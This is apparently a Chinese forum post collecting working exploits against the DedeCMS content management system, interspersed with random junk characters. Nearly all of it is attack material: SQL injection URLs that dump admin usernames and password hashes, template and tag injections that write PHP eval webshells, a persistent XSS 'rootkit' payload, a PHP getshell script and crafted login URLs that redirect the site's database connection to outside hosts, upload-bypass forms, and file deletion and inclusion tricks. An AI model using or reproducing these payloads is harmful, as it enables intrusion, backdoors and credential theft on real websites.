dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
' C; L6 u! I: n+ G8 h( Y( i, bhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

" C8 l. w: t# r$ H, `, T7 a0 ^1 Z


  H3 Y+ y2 M, l* S3 k: j2 g+ B

, d. j0 g, f" I& f
' L1 a: x. x7 S% j
DedeCms v5.6 嵌入恶意代码执行漏洞
0 m3 {# Z) @3 M' K2 T9 |5 p注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
' K) N& }0 D# k/ ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

7 H* |6 v# A* j6 @
/ w7 ^2 a6 L$ ^4 c8 h4 c
* f0 [% c. Y! Z& p' D
6 Z9 Y" _5 V! B# h2 Y; }( H, R

& D4 R5 l) d* ^" ^- q

5 q6 n4 ?: _; P' R' E8 LDede 5.6 GBK SQL注入漏洞
  ]& o' ^% y& ]& p! F" g- mhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
* D# Q, G) Z. a& A; C2 L0 nhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

* H5 i2 N$ Z7 |% {) Z: S! u
" H' h9 Y: \& |0 T; P2 N, l+ C
: V& ?6 x' A/ q- i
# @  k! Q  L9 J
9 x2 z; n" o( d( e$ W9 @


$ j# M3 [# F1 b( p  y$ W5 B& O- k) ]4 hDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

& }  x/ j" P1 ~5 U" P# d9 H+ H
/ r/ b4 j3 X6 d$ |, }( U  F, G

2 _5 N) m. S; P! D7 Q  ~
" ?) _/ \; v% P' ^. L2 v0 ]1 _( }
; ^/ Z$ y- R6 V9 DDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
# F( V0 v, g2 n+ t# M( j+ V7 Zhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

& N! U( M4 Q& D0 z9 s: @
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
( L1 i  ~9 S" Y6 V+ }
. o5 s$ X/ J/ [8 _9 A4 W% ?
color=Red]DeDeCMS(织梦)变量覆盖getshell
; t8 I! A& b( |- a7 L5 ^1 V#!usr/bin/php -w
4 w) R+ u% F3 n: L0 O  l, u<?php
error_reporting(E_ERROR);
set_time_limit(0);
1 u% c2 @1 F+ g8 O2 O% {: Oprint_r('
7 F& _) Y" F" u6 o/ UDEDEcms Variable Coverage
! d) s  G3 A' Q. ?6 n/ cExploit Author: www.heixiaozi.comwww.webvul.com
& k7 {0 ~5 ^! c/ \: ]);
echo "\r\n";
( z5 e' A( L+ |& U0 Nif($argv[2]==null){
  T# N. w. W! _9 m. j  \& Wprint_r('
# R+ |4 l/ {/ q; D. ]6 {+---------------------------------------------------------------------------+
8 r2 A, @3 E) {Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
) g# }% z' X: L$ N; \( [3 q& kphp '.$argv[0].' www.site.com 1 old
, G( T$ ^+ K- F& y% @! @; d5 L+---------------------------------------------------------------------------+
/ t3 [# e( H5 G9 y) T1 [');
* P1 H6 Q, H' w# X, V5 Oexit;
}
$url=$argv[1];
/ r' q+ F9 U$ t4 t$aid=$argv[2];
* S0 I( W( W" O, x$path=$argv[3];
  a$ A# _" a0 F% z$exp=Getshell($url,$aid,$path);
! C1 P" W/ m7 F1 Iif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
9 P5 Z; B2 h; ?' l0 Lif($aid==1)echo "
. u1 ~+ O" U8 R. D4 b& _7 w/ ZShell:".$url."/$path/data/cache/fuck.php\n" ;

2 `3 J, i. f9 ^/ p0 {
if($aid==2)echo "
) m# Q$ |; w! M/ A: V. UShell:".$url."/$path/fuck.php\n" ;
8 G; l& t6 ]- z2 e( d% \3 ?

if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
% V; h# }5 d, f, @* j2 q! C. I& ?Exploit Failed \n";
/ F9 g( X: N/ y}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
/ o$ A( Q" Q. G0 X* c6 e$port="80";
; _' H" o1 u, y9 y$ t$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
% m' e# j' b+ M0 |$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
- M0 S  i+ ^/ e! |) A$ N6 I, X9 p$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- v8 G+ I5 \8 N4 ^& x, t% o1 d$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
% V$ v3 b: r# X. B% P$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
" L0 o" y- |3 n; ?* l$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( i; u0 {. ?0 e$data .= $content."\r\n";
$ock=fsockopen($host,$port);
2 R, C) H" q. P8 S8 G+ I4 y+ Wif (!$ock) {
echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
2 O+ l; U& ^% p1 n/ A& M; R1 G  O; m}
}

6 o& s6 l- C  S
8 u& t$ W- s0 K% \% X" |5 q; Y?>
! J+ J( W- r5 r1 c


+ Z/ G2 h  f' s, F  _! c
( `4 C+ P0 i( M, G4 m+ s, Q
3 X( {% r  {& q& @- r




DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
. A7 R8 e4 {( \( Hhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& ]! s8 \9 M. Y3 W6 s/ Z3 T
4 E5 ~! a7 G* r! W/ ?5 g7 k# W
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
9 A  u5 a- @8 X4 k; A

此漏洞的前提是必须得到后台路径才能实现


, ^5 o& Q( `5 ]/ z6 k) {3 e# [$ C7 M

. I) J* {1 _" ~* C7 w
1 S1 W: j1 C- O$ q7 c. M- k
& O% S, d& g( l2 O4 g
% x6 Y( M& Z4 P+ X4 w4 O) [* H
% M8 k1 x% S$ a: z2 h' U* K- c
* s0 j+ b- @6 w2 m+ T" h
Dedecms织梦 标签远程文件写入漏洞
1 I/ f& B7 v9 ^: U: H前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
' i. J. d$ I- B" C; j7 H& `

1 T  `8 X+ ?' ?+ X& g再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
! b% t" P/ R4 |  y  J0 c; b6 }<form action="" method="post" name="QuickSearch" id="QuickSearch">
- B# {6 h  Y) }+ L9 M<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
3 g. j, I& X& q4 ~<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
8 b" p4 m; U3 ~5 m9 O</form>
<script>
2 Q2 R. Q! k$ Z/ Wfunction addaction()
( w+ v( x% U5 m, v{
5 Y! B: J1 O+ Q0 Adocument.QuickSearch.action=document.QuickSearch.doaction.value;
# ~" P8 h1 r) K: j8 L+ h}
</script>
* T$ V* |" |" }2 `; r2 T, D: H
& }7 n8 y1 E! p

9 l$ A/ O9 H! [' N1 R5 x$ }
0 E, h$ e) R* ~
1 W& ?4 l+ j7 \& ]+ X( f0 q4 }) R1 m

6 L7 n; V3 @5 `. J3 `. y* \+ d; Y
$ R' m6 V! q+ \1 T$ X3 y+ W
: U- v4 o6 E8 f8 I" r
DedeCms v5.6 嵌入恶意代码执行漏洞
: ^$ y- p) Q  J8 |8 ?! m; U7 `: x注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
+ j* v: ^# d( a; E3 ]: b5 Y/ F% P生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
; C" f& `  ~1 Q* C1 RDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
9 S$ w, c, [5 k
# Q" s3 p6 `1 Z
* d1 a% e* B* z" M- d2 _4 A: M模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$ g) i% _' N& w5 q, \: a1 g$fp = @fopen("1.php", 'a');
' O* U5 V- ?4 Y@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
7 a0 W$ v' A: s% Q@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
1 g' V6 _; F1 z3 n* f% J5 q<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
9 r- m: D1 ?. w$ }- C<input type="hidden" name="dopost" value="save" />
( @3 Q& `* f$ D  w9 R, u<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
$ V  g5 |8 n2 e* _8 N9 w; e9 p) d<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 z+ i! u6 h# t' Q% R0 Z4 {  s: w<input type="hidden" name="sortrank" value="1275972263" />

# s) O4 d* G% f
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
7 h  d9 ^" U% Z! _' A<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
3 h- K8 H" s  r6 ^
. V9 g& i2 O+ g. W+ _8 V9 L
6 Y1 j/ L* {  Y<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
; k8 i9 A, l5 T1 T3 k  s
& L4 M4 c) R! a
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

) [$ O* P9 ^; R. t! c4 O& ~# h
<label>隶属栏目：</label>
<select name='typeid' size='1'>
5 M; M4 u" R6 s' l<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
' z4 }/ v: |. I6 P+ i3 O, Y
. w* ?* y4 [8 b( V& }4 x) p% ?7 G
<label>我的分类：</label>
<select name='mtypesid' size='1'>
4 l6 K( C5 v6 O- b<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
0 M* B' k4 @0 W" T$ U0 w5 k</select>
2 o& u# f# N7 y

<label>信息摘要：</label>
  @; g0 |( u+ W5 Z<textarea name="description" id="description">1111111</textarea>
7 L6 m! ^. t0 G3 g(内容的简要说明)


' W$ Z$ ], W4 ]; _* g9 O& k; O<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
( o$ G: k7 `+ {! J# U- r4 ^: wvalue="../ uploads/userup/2/12OMX04-15A.jpg">
; P% R' A  o- Y8 h3 r  ]) ~<input type='text' name='dede_addonfields'
+ W9 r( U3 z! ]7 i: o6 B4 C# ]value="templet,htmltext;">（这里构造）
6 i: L5 a  T& s# k3 {$ K</div>
1 Y% R/ q' z- w* ^3 f$ ?4 d. Q
1 ~1 H" o6 @% f5 ^) x1 O
. }# x) `) b% K# P<!-- 表单操作区域 -->
3 e0 U) G, R3 T7 M  p% l<h3 class="meTitle">详细内容</h3>
' F4 f; q* P7 h6 z9 {
7 z; E4 }+ ]2 H( N' @# U
+ T2 g. V+ t% _1 V% s+ D( K<div class="contentShow postForm">
# E8 g7 d9 @1 ^: n1 @, n<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

- ]- E. ^. Q$ _8 s& ]+ J* n
! J. t9 H: J% N# m* i0 q! I<label>验证码：</label>
1 Z, y( A; g& N' D$ ^! G, J* G<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
9 P- ~' ?2 Q6 k) N

<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
* Z6 s" G, J/ D9 \1 q( j& n</div>

( |- d! p4 q5 v1 v9 h* T6 Q9 {. P) ]
</div>


: Z: a8 H8 B( N</form>
. ]3 e& N  U& `5 u

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
) n5 _, y3 }; r3 l) e$ u& v假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

0 ~  R6 _. i6 Q, K: ]
; p7 y8 k( B6 Y/ R3 ^






; P. t/ A" y& G% T( U- W
8 H/ Y8 b& ]5 r3 ^  X

0 P. z1 o) T! q& a, JDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
6 O8 P! J/ O/ q5 SGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
5 I: F) ~+ ]' m! Z9 i5 }, Z: u<input type="hidden" name="mediatype" value="1" />
. [& G2 W7 l8 a' Q<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
  g+ Y4 l; y. _0 i6 }, h) w<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
* q4 {0 O* ?1 N& F1 i* F<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
& ]& M/ N1 R( K: I* B+ ?* a</form>

) @; b. s  f( D' [  {4 ^
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
2 @% g. p; O% b8 S! G发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
. ^2 O' D9 N5 x( [3 u3 B7 k<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
3 p; E" ]# y/ V- j: T6 G<input type="hidden" name="channelid" value="1" />
6 [$ ~# {( [9 ~4 O0 _% H<input type="hidden" name="oldlitpic" value="" />
9 }1 x* B; u; d<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
4 @4 v  A+ m- I* i8 N) g, U<select name='typeid' size='1'>
$ M# k7 @% ^$ M2 c4 r. n3 B7 a, d<option value='1' class='option3' selected=''>Test</option>
: u$ h$ w0 s' N: J! d<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
6 i) \" v* [3 s. E5 t<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
/ H9 g' W) |  L) \<input type='hidden' name='dede_addonfields' value="templet">
) y8 O% W6 A8 h% z! I<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
9 g$ K: ?) O$ S<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
; M* @  a, X" n6 e</form>
' M" d8 J. L3 o! \9 D5 J! ~+ a2 _

: z+ j/ `  R% _9 z7 }8 G# C. B
8 K1 P( B' I; `8 i- ]( D0 j9 N/ F0 R
# S# E8 [% k* W; w) H4 v& N$ e



6 b0 S' N' d) q$ V
' m- d4 @+ [4 B( C: ^. b9 ~
! x! g, e  r& z0 m, O/ q

织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

' m" M, W; @3 M( P7 K0 C3 H, ~6 x: z


0 F/ Z. F9 B" @2 ?: u2 v- I  I$ @
$ \7 w1 A3 i  o- j+ p3 C# H, x( F3 Y
& m1 K8 _6 U3 V- m% }
: V, Q: I  y& C% x  ^  T: _
8 Q5 ~1 I4 `& X8 z
; l3 t2 T' f2 Y3 u$ w0 |, t$ s
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
+ S# M1 c2 U, Q7 F" E! h* A

: \. C" P: @7 b4 w) o! n! {
0 H0 v) q. r- m

( n- p7 S1 c5 Q- m# @) k* {' }/ X


  y4 R* C! f6 H% _" ?( ]' G

$ z$ `) Z- D5 k6 E% `+ K- lDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
8 h& T& t' H, W- ?! o- dplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

, L) E. x4 o6 |9 E0 R3 |+ Z



+ c: i, l0 Q; k) \" S# ~* p' I
8 X- N& N' ^2 H5 M8 \  _
2 K$ \" r; p- j; c
) E  o/ Y* P* x& J# D0 M1 ^6 X: Z1 i
& o9 R3 _1 R9 w6 ~& a
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
- h- B# D! v: w, q8 @http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='






6 I- m8 d4 {, S0 r2 M2 M+ l# t2 Q
" d$ {8 ?0 G: Z' i
  J! q# `* H% X3 R

# J( u$ ?& U" f4 F5 A: ~织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
: b+ r  \+ I1 w4 b( {, Z1 q<head>
) ?0 U) k7 _1 `; }# J<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
; U( V8 g9 u0 P$ `</head>
. X4 p; _; }1 i<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
( o% g, n) M" a5 \5 B- l: p<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
' d! n- i1 L$ ~+ x$ \<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
9 N. |/ O  C2 f6 L9 d( c5 M$ E<input type='hidden' name='cfg_not_allowall' value='txt' />
2 L' U# |& a+ q+ Q- y! d6 |$ j; `<input type='hidden' name='cfg_softtype' value='php' />
" I1 q! Z; g$ a& W& f- d<input type='hidden' name='cfg_mediatype' value='php' />
3 u, m# g2 t4 k( r( N) |<input type='hidden' name='f' value='form1.enclosure' />
9 F$ x- O  e  U9 p; g) J<input type='hidden' name='job' value='upload' />
- V, F8 Q4 ~7 r8 m0 \# K<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
/ y$ L+ {- q/ P% H( s- hFun the game,get a webshell at /data/cache/fly.php...<br />
* \% a4 `' k$ ?* Q/ l5 ?</body>
</html>
; J3 Z  ]6 \& o


$ r; k+ M4 W' Z& {2 I






织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
" n* T% e: Y7 B. i6 m1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
( X- a: i/ K/ ?9 P+ V$ a
0 Y6 S* {* H* i$ u/ t9 M/ r
" h* x& o$ t, f+ [3 ]2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
2 A: n( g3 }7 o& N% f6 Rint(3) Error: Illegal double '1024e1024' value found during parsing
; g$ [! v; Z5 ]" D) EError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
, m2 T  P/ M# r, O- b6 O
. `4 W. }6 G4 U
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
0 m9 W7 S7 A' C0 c

按确定后的看到第2步骤的信息表示文件木马上传成功.


  N/ P; a; z0 n7 v
$ t$ P) }: J& l  J! V  f7 S: H
. l" z7 Y+ n+ ~; N! y" |
4 z" t7 Q" o1 _5 U
5 n8 i; j7 G9 }5 B
" E" b' N) ^  m) c6 k) C
  v: j0 ^0 ?5 M  Y5 `
2 b; i" L! n7 Y9 k, b

) ~1 L( x$ F" ~4 z/ q% [- k/ V
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
+ D5 B- j6 Q5 r3 ?* W( P7 h6 Ghttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*